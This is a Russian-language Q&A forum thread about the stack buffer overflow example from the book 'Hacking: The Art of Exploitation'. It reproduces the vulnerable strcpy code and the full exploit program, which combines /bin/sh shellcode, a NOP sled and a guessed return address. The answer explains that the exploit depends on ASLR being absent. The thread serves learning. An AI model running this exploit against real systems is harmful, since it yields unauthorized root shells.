Пример переполнения буфера из книги «Искусство эксплуатации» - PullRequest
Новая
       71

Пример переполнения буфера из книги «Искусство эксплуатации»

8 голосов
/ 02 января 2012

Я читал эту книгу «Искусство эксплуатации», которая является хорошей книгой, и я наткнулся на этот пример из файла exploit_notesearch.c.

Вкратце автор пытается переполнить программу из notesearch.c 

int main(int argc, char *argv[]) {
    int userid, printing=1, fd;
    char searchstring[100];
    if(argc > 1) // If there is an arg
        strcpy(searchstring, argv[1]);
    else // otherwise,
        searchstring[0] = 0;

Аргумент основной функции копируется в массив строки поиска, и если аргумент больше 100 байт, он переполняет адрес возврата из главной функции.

Автор подготавливает шелл-код в exploit_notesearch.c и вызывает уязвимый notesearch.c 

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {

    unsigned int i, *ptr, ret, offset=270;
    char *command, *buffer;

    command = (char *) malloc(200);
    bzero(command, 200);

    strcpy(command, "./notesearch \'");
    buffer = command + strlen(command);

    ret = (unsigned int) &i - offset; // Set return address

    for(i=0; i < 160; i+=4) // Fill buffer with return address
        *((unsigned int *)(buffer+i)) = ret;
    memset(buffer, 0x90, 60); // Build NOP sled
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

    strcat(command, "\'");

    system(command); //run exploit
}

Вы можете видеть, что шелл-код объединяется с салазками NOP и адресом возврата, который должен указывать на этот слип NOP.Автор использует адрес локальной переменной i в качестве ориентира и вычитает 270 байтов, пытаясь выяснить примерное расположение салазок NOP.

Как я понимаю, автор предполагает, что стековый фрейм главной функции из уязвимого notesearch.cбудет в том же сегменте стека, что и стековый фрейм основной функции из exploit_notesearch.c.Я предполагаю это, потому что только так можно работать с адресом локальной переменной.

Но автор вызывает уязвимый notesearch.c с помощью system (), как эта система (команда).Я хочу сказать, что эта функция system () где-то внутри использует fork () для порождения дочернего процесса, а после этого использует функцию exec () для изменения образа процесса.Но если изображение изменилось, это означает, что сегмент стека будет свежим, и все эти манипуляции с адресом локальной переменной i в главной функции в exploit_notesearch.c будут бесполезны, но каким-то образом этот эксплойт работает, что меня совершенно смущает.

1 Ответ

11 голосов
/ 02 января 2012

Автор просто предполагает, что компилятор C будет размещать стеки этих двух программ на одинаковых (или очень похожих) виртуальных адресах и , чтобы операционная система не выполняла рандомизацию адресов (ASLR). ) . Это означает, что стековые фреймы обеих основных функций будут примерно в одном и том же месте, что позволяет использовать этот эксплойт.

Это не очень надежный способ эксплуатации, как вы можете себе представить (он, вероятно, даст сбой в большинстве современных 64-битных систем). Более надежные эксплойты могут использовать форму программирования с возвратом или могут попытаться использовать существующий указатель char *argv на соответствующий кадр стека.

...